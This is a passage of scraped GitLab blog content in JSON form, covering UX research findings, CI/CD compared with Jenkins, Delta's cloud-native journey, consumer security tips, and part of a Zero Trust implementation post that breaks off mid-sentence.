Snippets](https://gitlab.com/gitlab-org/ux-research/issues/339) to share commonly used code throughout an organization (fixes, install scripts, social icons, etc) can be beneficial for consistency, saving time on searching for solutions, and onboarding new or junior team members.\n\n[Group-level Snippets](https://gitlab.com/gitlab-org/gitlab/issues/15958), [Multi-file Snippets](https://gitlab.com/gitlab-org/gitlab/issues/14340), and [Version control for Snippets](https://gitlab.com/gitlab-org/gitlab/issues/14228) are highly upvoted issues in GitLab’s issue tracker.\n\nCheck out the [full results](https://gitlab.com/groups/gitlab-org/-/epics/2030).\n\n\n\n### 2. After considering other options, you prefer the name “Auto DevOps”\nWe surveyed nearly 200 developers to evaluate 4 terms: ‘Auto Config’, ‘Auto Pipelines’, ‘NoOps’, and ‘Auto DevOps’ (our existing name). The term that did best both in terms of 1) allowing users to accurately predict what the feature does and 2) was considered appropriate for the feature’s definition (i.e. a feature that automatically detects, builds, tests, deploys, and monitors you applications) was Auto DevOps, with Auto Pipelines as a very close second. Consequently, it was decided to stick with Auto DevOps.\n\n[Full results](https://gitlab.com/gitlab-org/ux-research/issues/243#note_224667453)\n\n### 3. You wanted a new flow for enabling security checks\nBased on insights gathered in a previous usability study around users’ mental model, the Secure team created a new flow for enabling security checks, which allows users to configure security checks from the UI itself. We then tested the new flow and saw significant improvement - all participants were able to complete the task, as opposed to only 1 out of 5 before the new design was created. Yay for evidence-based design!\n\n[Full results](https://docs.google.com/presentation/d/1blpG78sBTNYcFyP1DH4gNjmJSB8SGm4xMgVtOe9UXLo/edit)\n\n\n### 4. Logs contain rich data, and you need a better way to manage it\n\n\nLogs are captured for a number of reasons: audit/compliance, security (to monitor against abuse/attacks), and for troubleshooting when things go wrong. Logs are able to capture more information than metrics, but because they capture so much more information, users need a way of managing them, searching through them, and surfacing insights.\n\nAnother interesting finding: You use tracing when things aren’t running as expected and you want to find out what’s going on “under the hood.” It’s underutilized compared to logging.\n\n\n[Full results](https://gitlab.com/gitlab-org/ux-research/issues/276)\n\n### 5. Our billing processes just aren't cutting it\n\nOur billing processes are optimized for large orgs, but don’t support the needs of small businesses as effectively or efficiently. Additionally, our true-up policy is not transparent. We saw customers mistakenly expect adding users to be automatically prorated, often leading to surprise charges at renewal time.\n\nFinally, we have an opportunity to help more customers self-serve. self-managed customers must contact GitLab every time they want to add users to their license, creating friction for customers and taking up valuable support/sales time.\n\n[Full results](https://gitlab.com/groups/gitlab-org/-/epics/1963)\n\n## Join GitLab First Look\nDid you recognize some of the above as your own needs and wants? Or did you disagree with everything completely?! Either way, we want to hear from you.\n\nYou can participate in interviews, surveys, beta tests, and more from the comfort of your own computer 💻✨Your feedback is incredibly important to us, and we hope you consider joining our research program, [GitLab First Look](https://about.gitlab.com/community/gitlab-first-look/).\n\n\nThis round-up was compiled using [research and analysis](https://docs.google.com/presentation/d/1nDFgGQpr6gLQ6wp8UC0WIdb_ZNWGSDCk1Dt8-dliduw/edit#slide=id.g651551733c_6_0) by Katherine Okpara, Tali Lavi, Amelia Bauerly, Iain Camacho, Eileen Ruberto, Lorie Whitaker, and Jeff Crow\n{: .note}\n",[2249],{"slug":26780,"featured":6,"template":678},"five-things-we-learned-from-you-in-recent-ux-research","content:en-us:blog:five-things-we-learned-from-you-in-recent-ux-research.yml","Five Things We Learned From You In Recent Ux Research","en-us/blog/five-things-we-learned-from-you-in-recent-ux-research.yml","en-us/blog/five-things-we-learned-from-you-in-recent-ux-research",{"_path":26786,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26787,"content":26793,"config":26798,"_id":26800,"_type":16,"title":26801,"_source":17,"_file":26802,"_stem":26803,"_extension":20},"/en-us/blog/better-devops-with-gitlab-ci-cd",{"title":26788,"description":26789,"ogTitle":26788,"ogDescription":26789,"noIndex":6,"ogImage":26790,"ogUrl":26791,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26791,"schema":26792},"Unlock better DevOps with GitLab CI/CD","Why a single application helps to eliminate silos and knowledge gaps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670652/Blog/Hero%20Images/dev-to-devops-cover.png","https://about.gitlab.com/blog/better-devops-with-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unlock better DevOps with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-10-18\",\n      }",{"title":26788,"description":26789,"authors":26794,"heroImage":26790,"date":26795,"body":26796,"category":8943,"tags":26797},[18462],"2019-10-18","\nWe’ve talked about how the [seamless collaboration between Development and IT operations is a beautiful thing](/topics/devops/build-a-devops-team/). When an organization has a healthy DevOps culture, they’re able to meet business objectives and increase delivery speed. DevOps is meant to eliminate silos so everyone can get on the same page, and the tools you use can play a big role in just how successful, or unsuccessful, your DevOps strategy is.\n\n## Complicated tools create silos\n\nOne of the ways that operations can be at a disadvantage is by having to maintain a [complicated plug-in environment](/blog/plugin-instability/). This scenario becomes especially problematic when things go wrong and developers are relying on a specific group to fix the problem. While specialization isn’t necessarily a bad thing (devs shouldn’t have to do ops, and vice versa), usually the expertise needed to manage a plugin environment is a specialization within an already specialized group.\n\nJenkins is the most popular example of this kind of complexity, for a few reasons:\n\n*   **Jenkins architecture requires maintaining a large set of build environment systems**: At scale, this requires many dedicated people to manage machines, install and manage build tools (NodeJS, Python, Java, et al.), monitor machines, etc.\n\n*   **Upgrading is a risk (Jenkins or plug-ins)**: There is a good chance that upgrades can cause processes to fail, leading to broken builds or downtime.\n\n*   **Groovy is hard to maintain**: This isn't a widely popular script language, so it is harder to find experts to manage it and it's hard to debug due to a lack of debuggers.\n\n*   **Jenkins does not support any kind of clustering or failover**: The web UI is run on a web container known as Jenkins master, and you can only have one. For a large team of developers needing to use Jenkins all at once, that one instance needs to be very closely monitored with limited permissions.\n\nA large Jenkins plug-in environment creates silos within silos and knowledge gaps that are hard to overcome. What this leads to is a “throw it over the wall” team dynamic: Because the system depends on the expertise of a very limited number of people, developers have to submit code and hope their experts have the skills to manage it.\n\n## Lack of visibility keeps teams in the dark\n\nIn order for [DevOps](/topics/devops/) to thrive there needs to be an understanding of what every team is doing and clarity around processes. Unfortunately, a tool like Jenkins doesn’t necessarily facilitate this. Because users can’t see other users’ commits, they can’t visualize the SDLC as a whole. This only isolates teams even further.\n\nTeams that work within this plug-in environment often download the plug-ins they need, which makes it hard for Jenkins admins to standardize across teams. That, in turn, makes it harder for admins to manage the dependencies and maintain plug-ins properly, which can lead to more broken builds.\n\nWhile plug-ins are a common way to add functionality into a toolchain, it doesn’t address the problems of a toolchain that hinder teams trying to implement DevOps:\n\n*   Lack of visibility\n*   Knowledge gaps\n*   Work silos\n\n## Why single application CI/CD makes better DevOps\n\nAs a complete [DevOps platform](/solutions/devops-platform/) delivered as a single application, we provide a tool that covers all parts of the SDLC from one interface. CI and CD are just one part of the lifecycle, and by having functionality like [SCM, Issue tracking, Security testing, and Monitoring](/devops-tools/jenkins-vs-gitlab/) built right in, we’re making it easier for teams to work with DevOps best practices.\n\nIf you would like to see a demo of GitLab CI/CD and how we compare to Jenkins, and access other curated content around CI/CD, you can watch our most recent webcast.\n\n[Watch the demo.](/blog/migrating-from-jenkins/)\n{: .alert .alert-gitlab-purple .text-center}\n",[110,1444,4103],{"slug":26799,"featured":6,"template":678},"better-devops-with-gitlab-ci-cd","content:en-us:blog:better-devops-with-gitlab-ci-cd.yml","Better Devops With Gitlab Ci Cd","en-us/blog/better-devops-with-gitlab-ci-cd.yml","en-us/blog/better-devops-with-gitlab-ci-cd",{"_path":26805,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26806,"content":26812,"config":26817,"_id":26819,"_type":16,"title":26820,"_source":17,"_file":26821,"_stem":26822,"_extension":20},"/en-us/blog/delta-cloud-native",{"title":26807,"description":26808,"ogTitle":26807,"ogDescription":26808,"noIndex":6,"ogImage":26809,"ogUrl":26810,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26810,"schema":26811},"How Delta made the journey to cloud native","Delta tossed aside the rule book to go cloud native and achieve workflow portability. Here's how it's done.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678376/Blog/Hero%20Images/deltacommit.jpg","https://about.gitlab.com/blog/delta-cloud-native","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Delta made the journey to cloud native\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-10-17\",\n      }",{"title":26807,"description":26808,"authors":26813,"heroImage":26809,"date":26814,"body":26815,"category":813,"tags":26816},[11618],"2019-10-17","\n_Delta Air Lines is the top domestic carrier in the United States, flying over 200 million people a year to more than 300 destinations in 50 countries. Delta is in a highly competitive industry with a lot of moving parts and that’s why, in 2016, the company began a sweeping digital transformation journey. At [GitLab Commit in Brooklyn](/blog/wrapping-up-commit/), Jasmine James, IT manager, DevOps Center of Excellence at Delta, shared how the company journeyed to [cloud native](/topics/cloud-native/) while avoiding vendor lock-in._\n\nDelta’s primary goal was business agility, Jasmine says, and the plan was to get there using cloud native. “We'll do cloud native and then we'll get the business agility, we thought,” she says. “But at Delta, because we have such large, complex systems and a very mission-critical environment, it was not that easy at all.”\n\nTo start, Delta took a hard look at its existing environment and at ways it could be improved. Metrics-based process mapping made it clear the infrastructure was standing in the way of delivering value. A flexible architecture would also make it easier to have scalable and reliable workloads, she explains. The company’s existing tools wouldn’t work with cloud native, so Jasmine’s team set out to find tools that could provide version control, [continuous integration, and continuous delivery](/solutions/continuous-integration/) – the three areas the team considered the [MVP](https://www.techopedia.com/definition/27809/minimum-viable-product-mvp) to get the job done.\n\n## Stick with vowels\n\nThe team came up with an easy-to-remember acronym to describe the criteria used during the tool search: **AEIOU**. **A** is for applicability: Will the tool be applicable for the heavy Java and Linux users at Delta? **E** meant enterprise-ready because Delta needed tried and true maturity. **I** stands for integration, and Jasmine was quick to point out that in this case, it wasn’t about legacy integration but simply a matter of ensuring all the new tools worked well together. **O** is for overhead, which has particular meaning for Jasmine’s team since they manage all the development tools at Delta. “We had to ask ourselves how easy it would be to manage and administer tools for 5000 developers at Delta,” she says. And finally, **U** represents usefulness, which is another way of saying the team wanted to ensure it would choose the right building blocks that would work together.\n\nDelta’s first choice of tools was GitLab, followed by [Sonatype Nexus](https://www.sonatype.com/product-nexus-repository) and Jenkins for CI, Jasmine says. Today Delta is considering expanding its options for developers to also include [GitLab CI](/solutions/continuous-integration/).\n\n## Careful choices = concrete benefits\n\nThe careful thought process has already shown a number of concrete benefits, Jasmine says. Delta created an API to allow customers flying different legs using partner airlines to check in just one time. And the airline’s employees have enhanced decision support around weather events that help to minimize the impact of canceled flights.\n\nBut the benefits go further, Jasmine stresses. “We now have the ability to play the field,” she says. “We not only can leverage the best of breed features in the public cloud space, we also can pick and choose based on public cloud provider performance and cost. With the cost savings we have been able to do a lot (which means we can) fund more great features.”\n\nDelta’s also been able to offer what Jasmine calls a “first class developer experience” because programmers can leverage both the airline’s on premises [Open Shift](https://www.openshift.com) private cloud and scale to the public cloud as needed, all while using familiar programming languages and tools.\n\nJasmine’s take away: “Be you, be different, be great in cloud native. What that means is that although I’ve talked a lot about Delta’s journey, there is no one way to implement cloud native.”\n\nWatch all of Jasmine’s presentation:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/zV_hFcxoN8I\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Angela Compagnone](https://unsplash.com/@angelacompagnone) on [Unsplash](https://unsplash.com/).\n{: .note}\n",[3949,2509,4772,3949],{"slug":26818,"featured":6,"template":678},"delta-cloud-native","content:en-us:blog:delta-cloud-native.yml","Delta Cloud Native","en-us/blog/delta-cloud-native.yml","en-us/blog/delta-cloud-native",{"_path":26824,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26825,"content":26831,"config":26835,"_id":26837,"_type":16,"title":26838,"_source":17,"_file":26839,"_stem":26840,"_extension":20},"/en-us/blog/the-sky-is-not-falling",{"title":26826,"description":26827,"ogTitle":26826,"ogDescription":26827,"noIndex":6,"ogImage":26828,"ogUrl":26829,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26829,"schema":26830},"The sky is not falling","Tips to avoid the FUD and protect yourself online.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679692/Blog/Hero%20Images/dawn-idyllic-ocean-464344.jpg","https://about.gitlab.com/blog/the-sky-is-not-falling","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The sky is not falling\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-10-17\",\n      }",{"title":26826,"description":26827,"authors":26832,"heroImage":26828,"date":26814,"body":26833,"category":18484,"tags":26834},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIn honor of Security Awareness month...which, in our opinion, should be a year-round thing, we’ve pulled together some of our GitLab security team members' best security advice to keep us all a little safer online.  You might just see a pattern…\n\n### Advice: Look at security holistically. \n**It’s not just about securing the infrastructure, or the code, but also the people within the company. Security is everyone’s responsibility and effective security enablement and training go a long way.**\n\n![Rob Mitchell](https://about.gitlab.com/images/blogimages/rmitchell_scale.png){: .small.right.wrap-text}\n> Human error is the most significant cause of security problems. So many of the security breaches that have come to pass in recent years inevitably have an element where a person with good intentions has made a decision with dire consequences. So when thinking about Security, don’t just think about the cool hack or the clever technology. Most likely, the vulnerability will be a person who will make the mistake that causes a breach, so everything you can do to educate, inform and remove the potential for the human side of a system to fail will make the greatest difference. – **[Rob Mitchell, manager, Strategic Security](https://gitlab.com/gitlab-rmitchell)**  \n*Read more of Robert’s viewpoints in this blog post:[\"The difference transparency makes in security\"](/blog/the-difference-transparency-makes-in-security/).*\n\nThe saying “if something seems too good to be true” still rings true today, as much as it ever has. Be alert for things that are unexpected or seem odd. Malicious intent can hide in emails, websites, links, and even in your social media feed. Arming yourself with education and tools makes you much less susceptible to scammers. \n\n![Nicole Schwartz](https://about.gitlab.com/images/blogimages/nicoleschwartz_B_scale.png){: .small.right.wrap-text}\n> Everyday your attention is spread out over a multitude of things you need to accomplish, and in many cases that means you try and complete things like reading your email or social feeds quickly, and perhaps you multitask. This is a common situation, but malicious things can sneak past us most easily when our attention is divided. On a daily basis you could be exposed to [phishing scams](https://www.csoonline.com/article/2117843/what-is-phishing-how-this-cyber-attack-works-and-how-to-prevent-it.html), malicious links, articles written specifically to spark Fear Uncertainty and Doubt ([FUD](https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt)) to drive an emotional response, or plain old hoaxes. A lot of these scams are designed by people using [social engineering](https://www.webroot.com/us/en/resources/tips-articles/what-is-social-engineering), to target individuals. They use a bit of technology and a bit of acquired information to manipulate an individual into providing account credentials or access information. Luckily there are many tools out there that you can use to double check things that feel a little off. You can learn about [phishing scams](https://www.phishingbox.com/phishing-test) and [how to spot them](https://www.eset.com/ca/cybertraining/), verify [stories on Snopes](https://www.snopes.com/) or [data points on Wikipedia](https://en.wikipedia.org/wiki/Main_Page) that don’t check out, and for link checking, you can [expand links](https://urlex.org/) or [scan urls](https://scanurl.net/) to confirm that where you’re headed online is safe. And, if you want to be extra sure you’re directed to your bank or other account’s actual website, don’t click the link in the email, just type in the url directly or search to find it find from your favorite, trusted browser. – **[Nicole Schwartz, product manager, Secure](https://gitlab.com/NicoleSchwartz)**\n\nAnother great resource? Your company’s security team. A good security team would rather check that email you suspect might be a phishing attack rather than having someone fall for an attack. We map out how to [identify a phishing attack in our handbook](/handbook/security/security-assurance/governance/phishing.html#how-to-identify-a-basic-phishing-attack) and guide our employees on next steps if they suspect they’ve received one.\n\n### Advice: Make strong, unique passwords, use a password manager and consider adding two-factor authentication (2FA).  \n**This one is so important, we’re going to tell you twice.**\n\n![Paul Harrison](https://about.gitlab.com/images/blogimages/Pharrison_BW_scale.png){: .small.right.wrap-text}\n> Please, please, please, please use a password manager like 1Password, or LastPass, or Bitwarden (examples, not endorsements, YMMV and pick what fits your workflow best!) and start using it to generate and save unique and difficult passwords for each of your sites or services. You won’t need to remember them and so you don’t need to use a memorable one. Then, while you’re at it, turn on 2FA, and not that SMS/text message-based one. Use an app like Google Authenticator or Microsoft Authenticator, which will give you the six-digit number (aka [Time-Based, One-Time Password](https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm)) on your mobile device, or better. Having strong, unique passwords and 2FA enabled will significantly decrease the chance of your accounts being compromised. – **[Paul Harrison, security manager, security operations](https://gitlab.com/pharrison)**   \n*Read more of Paul’s viewpoints in this [\"Ask GitLab Security\" blog post](/blog/ask-gitlab-security-paul-harrison/)*.\n\n\u003Cbr/>\n\n![Alex Groleau](https://about.gitlab.com/images/blogimages/Groleau_BW_scale.png){: .small.right.wrap-text}\n> Use a different password, preferably a completely random one, and two-factor authentication, for every website you visit. Use whatever form of password manager to keep them all straight. I have used 1Password for years. Websites are hacked daily and there is a high chance that one of the websites you have an account at was hacked within the last year. If your passwords are all the same, you are likely compromised as you read this sentence. – **[Alex Groleau, senior security engineer, Automation](https://gitlab.com/agroleau)**   \n*Read more of Alex’s viewpoints in this blog post, [How we use automation to scale up security at GitLab](https://medium.com/gitlab-magazine/how-we-use-automation-to-scale-up-security-at-gitlab-f8440574e0e4)*. \n\nBasically, you’re going to want to use a strong, unique password on every site and service you use online. And, if you don’t already have [2FA](https://en.wikipedia.org/wiki/Multi-factor_authentication), or the method of logging in with both information you know (username and password) and something you have (yubikey, authenticator app) and/or something you are (biometrics), enabled, you may want to do that.  See [Two Factor Auth](https://twofactorauth.org/) for a list of sites where 2FA is an option. Lastly, you may want to check out [haveibeenpwned.com](https://haveibeenpwned.com/), where you can see if your email address(s) or usernames have already been compromised.\n\n### Advice: Keep your systems updated and patch, patch, patch.\n\n![Alexander Dietrich](https://about.gitlab.com/images/blogimages/A_dietrich_BW_scale.png){: .small.right.wrap-text}\n> Use a password manager and generate unique passwords for everything. That way one website losing your data will not put all your other accounts at risk. Keep your systems updated, so you don’t get bitten by security holes that are years old. Ok, that was two pieces of advice. – **[Alexander Dietrich, senior security engineer, Automation](https://gitlab.com/adietrich)**   \n*Read more of Alexander’s viewpoints in this [\"Ask GitLab Security\" blog post](/blog/ask-gitlab-security-alexander-dietrich/)*.\n\nYes, okay, we slipped another recommendation for password management in there...but when something is so important (and simple to implement), it bears repeating. \n\n![Mark Loveless](https://about.gitlab.com/images/blogimages/mloveless_BW.png){: .small.right.wrap-text}\n> Patch. Attackers will take advantage of security flaws to gain access to systems and devices, so make sure you install the latest patches. Most operating systems allow you to set them up to download and install patches and updates automatically, so you should do this. The same should apply to various applications - for example many web browsers can be set to download and install updates and upgrades. Software vendors frequently release patches and various upgrades, and these often contain security fixes. While less common, some vendors in the past have released “silent” security patches where it seems like a regular update but a security patch is slipped in without public notification. It is possible that a fix for a crash or some other flaw might have some security ramifications that the vendor is unaware they’ve actually corrected. So always patch. – **[Mark Loveless, senior security engineer, Security Research](https://gitlab.com/mloveless)**   \n*See Mark’s ongoing [Zero Trust blog series](/blog/tags.html#zero-trust)*.\n\n### Advice: Avoid the FUD and adopt simple, secure practices into your everyday life. \n\n> Do not live and die by the headlines surrounding some evil hackers performing weird and mysterious digital sleight-of-hand and bringing destruction to all of humanity. The headlines are intended to not only get you to read the article but go to the online news site and generate revenue via ad impressions for the news site’s advertising, so they are often rather sensational. Yes you should patch and use strong unique passwords and multi-factor authentication. This fixes most problems. – **[Mark Loveless](https://gitlab.com/mloveless)**\n\n\u003Cbr/>\nYou don’t have to be an industry-trained security expert to operate more safely and securely online. It comes down to some basic principles and incorporating more secure practices into your everyday life. Is everything you need to know included in the list above? No way.  But, you can learn more about our [security best practices in our handbook](/handbook/security/).  \n\n**Have a suggestion or tip that we missed? Please share so our community can benefit, and together we can grow more secure.** \n\nPhoto by [Francesco Ungaro](https://www.pexels.com/@francesco-ungaro?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/dawn-dusk-idyllic-ocean-464344/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[676,674],{"slug":26836,"featured":6,"template":678},"the-sky-is-not-falling","content:en-us:blog:the-sky-is-not-falling.yml","The Sky Is Not Falling","en-us/blog/the-sky-is-not-falling.yml","en-us/blog/the-sky-is-not-falling",{"_path":26842,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26843,"content":26849,"config":26854,"_id":26856,"_type":16,"title":26857,"_source":17,"_file":26858,"_stem":26859,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here",{"title":26844,"description":26845,"ogTitle":26844,"ogDescription":26845,"noIndex":6,"ogImage":26846,"ogUrl":26847,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26847,"schema":26848},"Zero Trust at GitLab: Where do we go from here?","We take a look back at how far we've come in our ZTN implementation, and at the progress we still need to make.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679704/Blog/Hero%20Images/puria-berenji-Dyi1K2atCRw-unsplash.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-where-do-we-go-from-here","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Where do we go from here?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-10-15\",\n      }",{"title":26844,"description":26845,"authors":26850,"heroImage":26846,"date":26851,"body":26852,"category":674,"tags":26853},[5362],"2019-10-15","\n\n*Zero Trust is the practice of shifting access control from the network perimeter to the assets, individuals, and the respective endpoints. For GitLab, Zero Trust means that all users and devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part 6 of 6 in our series.*\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n* Part four: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/)\n* Part five: [Zero Trust at GitLab: Implementation challenges](/blog/zero-trust-at-gitlab-implementation-challenges/)\n\nWe've talked pretty openly about forming our ZTN approach and the challenges we expect along the way – as well as the challenges we've already met. If there is an area of ZTN that we've not addressed, or if you're interested in diving deeper into the topic, we invite you to join us October 29, 3-4 pm ET for our [Zero Trust Reddit AMA](https://www.reddit.com/r/netsec/comments/d71p1d/were_a_100_remote_cloudnative_company_and_were/) where you can Ask Us Anything!\n\n## Where we are\nI guess it makes sense to talk about where we are at with this whole ZTN thing. In addition to establishing policies for team members (based upon job descriptions and placement in the org chart), we have classified our data and mapped out our environment so we know where all of the parts are. But there are a few items we want to explain with a bit of detail.\n\n### Getting SaaS\n\nUsing [Okta](https://www.okta.com), we have managed to get (as of this writing) 70 of our [SaaS](https://en.wikipedia.org/wiki/Software_as_a_service) apps under some semblance of control. This “control” has varied heavily – some SaaS apps cleanly and seamlessly integrated with Okta, and some were working kinda-sorta-good-enough to call them integrated. The majority of SaaS integrations work fine as they used [SAML](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) and easily integrate in minutes. We can provision and deprovision accounts with simple assignments. Departments like People Ops can do provisioning within minutes instead of days. For some of the integrations, we can force the user to go through Okta, and in a few cases where we have sensitive data, we have extra security steps. For example, to access [BambooHR](https://www.bamboohr.com) users have to go through Okta first (and using Multi-Factor Authentication aka MFA) instead of direct access, and they have to perform yet one more MFA-style step of authentication just for BambooHR.\n\nAre there problems with this? Sure. Not everything integrates as well as [Greenhouse](https://www.greenhouse.io) or BambooHR, because each SaaS has implemented their own APIs and done their own SAML setup. Some don’t offer consistent interfaces to integrate with, which means that our team members can bypass Okta and go straight into the SaaS app in some cases, and in others they are forced to use Okta. This workflow inconsistency is sometimes frustrating for team members. We’re constantly [updating our team member instructions](/handbook/business-technology/okta/okta-enduser-faq/) on Okta usage and try to communicate it to all team members as best we can, but we are impacting some users’ workflows. For example, if you sign in via Okta, you need to keep that tab open in your browser, otherwise your Okta session will end and you’ll find yourself repeatedly “MFAing” until you’re blue in the face. Many people are not used to working that way, and not having all SaaS apps working exactly the same doesn’t help. But overall, the time savings and security are great gains for ZTN and we are quite happy with the implementation.\n\n### SSH access\nAs I write this, we are getting ready to start the [Okta ASA](https://www.okta.com/products/advanced-server-access) rollout to Staging to give it a good test. Like SaaS, we expect a few hiccups here and there – especially since this is a new product for Okta, [released earlier this year](https://www.okta.com/blog/2019/04/advanced-server-access-and-infrastructure-identity/). And talk about workflow changes – if you thought browser-based application users were picky, command line SSH users are a bizarre bunch indeed. Command line junkies practically have their own religion around workflow and we’re introducing a change to that workflow. Yes, it is a minor change, but it already concerns me. Truthfully, because I am one of those oddball Linux users who lives on the command line and I tend to get fairly picky after a couple decades of being able to adjust and customize every aspect of my experience.\n\n### Camo proxy\nThis will seem like a weird one, but mitigating a security issue actually helped us out from a ZTN perspective. There was a security issue reported via our [HackerOne program](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) that allowed for malicious users to gather IP addresses from unsuspecting victims via embedded image files. The solution was to use Camo proxy to resolve the [issue](https://gitlab.com/gitlab-org/gitlab-foss/issues/55115). The Camo proxy was widely deployed to ensure all possible links were protected and had the side benefit of ensuring communications going through the proxy were encrypted. Encrypting communications was one of the items we wanted as a part of ZTN and, as it turned out, we’d already done it.\n\n### A sound foundation\nThere are two things we want from our servers and containers and databases. First, we want them buttoned down tight and properly secured. All of these systems have robust controls, and we can perform all kinds of monitoring, but we have to do it at scale. Tightening security controls is especially important if you are using some of the Zero Trust-ish solutions out there to regulate access to these systems. We’re talking about automation of access provisioning, so we want to make sure that minimal access levels required for data stored on systems *remains* minimal access. This means no escalation of privileges due to configuration mistakes or security vulnerabilities. We also want to make sure that all services being offered up by these systems are as secure as possible against compromise, either locally or remotely.\n\nSecond, we want complete visibility into our infrastructure. If something goes awry with a vulnerability being disclosed that potentially impacts our systems or a security incident happens, we want to be able to quickly assess the state of the environment, ensure patches are installed, receive alerts based upon custom triggers to help monitor everything, and so on.\n\nWe are using [Tenable](https://www.tenable.com/products/tenable-io) (mainly for assessments) and Uptycs (mainly for monitoring and alerting) in our environment to help with this visibility. Both certainly handle the basics just fine, in fact Tenable has been quite up to the task. We are facing a few challenges with [Uptycs](https://www.uptycs.com) as we’d like to do more than what the product currently offers. This may not sound like traditional ZTN territory, but it is. It does no good to offer up state-of-the-art authentication and authorization to resources that are poorly maintained and monitored. Like everything else in our company, we face issues with scale – our infrastructure needs to grow and managing the security of that infrastructure must also scale well. Right now we can manage the security of our environment just fine. In fact, it is quite strong, but a lot of it relies on manual intervention which has scaling issues. We have a lot of hash marks in the “win” column with Tenable, but as we scale and expand we’re challenged by Uptycs. In the spirit of openness, we’ll keep you posted on how this progresses.\n\n### The log ride\nTo get a grip on all of this activity, we need to be able to grab all the logs, toss them into one place, and make sense out of them. Our goal is two-fold: we need to understand how our system is being used so we can fine-tune it and we need to be able to detect anomalous events that could signify potential breaches. All of our systems put out logs, and we’ve designed systems to monitor those logs. It is nice to automate alerts so as odd events occur, we’re immediately notified, and in some cases, issues are automatically opened for further triage. We’ve started down this path with deployment of several technologies, related to the [Logging Working Group](/company/team/structure/working-groups/logging/). We’re in the initial first steps, and we expect that logs generated from the various ZTN implementations will help improve the logging efforts, perhaps even propel it along quicker as we work out the kinks.\n\n## The Budget Issue\nA big ZTN question we get involves budget. After all, one company’s solution may involve a couple of small purchases and a large effort of tweaking and reconfiguring existing technology that is already deployed. Another company might have to make some major investments in new products just to get started. In other words, how do you budget for a solution when you don’t know exactly what that solution will look like?\n\nThis is probably one of those things a lot of organizations do not discuss, at least in any detail outside of “it’s expensive”. The idea of ZTN as a concept is an easy sell to most organizations because the benefits are so great. At the lofty bullet-point level on vendor slides, they often seem completely undeniable. But when you break down a concept into digestible and deployable components, you are often into interesting budget territory. Getting a department to buy into the concept is much easier than getting a department to alter their budget and purchase the XYZ product, deploy it, maintain it, and oh yeah please give the security department all of the logs. Of course this is a slight exaggeration to convey a point, but it is more often on the mark than not. We simply couldn’t fully budget for most of this because we didn’t know what we were going to be deploying until we found a particular solution.\n\nIn this case we have to be able to show an [ROI](https://en.wikipedia.org/wiki/Return_on_investment), which means we need to help a department understand the benefits and actually show an improvement to that department’s bottom line. For example, Okta has allowed us to change some onboarding and offboarding processes from days into minutes – and it's a massive timesaver. The push for Okta ASA is because our Infrastructure department saw the gains realized from our Okta rollout, and asked for something similar. Regardless of which department’s budget this could go against, it has to be sold to someone internally. Showing an ROI that clearly states we could financially benefit in one or more areas is really the only way to go about it. Showing the benefits is critical when you are searching for solutions to problems with no idea which solution will work.\n\n## Advice\nSince a lot of people ask for advice on ZTN in general, I’d like to share some impressions from our experience. Here are some major things that really have helped us.\n\n### Break down your needs into simple components\nYou do this by defining the problem end-to-end. For us, we could break it down into user identification and authentication, device identification and authorization, data classification, and policy enforcement. Each part was further broken down into smaller pieces – which includes a lot of what we covered in previous blog posts. This deconstruction helped us understand all of the areas we needed to work with.\n\n### Look at areas of winning\nIf a deployed technology is already solving part of the problem, can it be expanded? If it can’t, why not? Where are the gaps? List those gaps and use them to identify possible solutions during the review. We covered this topic in detail in a previous blog post, [ZTN implementation challenges ](/blog/zero-trust-at-gitlab-implementation-challenges/).\n\n### Ignore the vendor “spin”\nThere are vendors that sell solutions where they claim to be solving ZTN. In my ancient 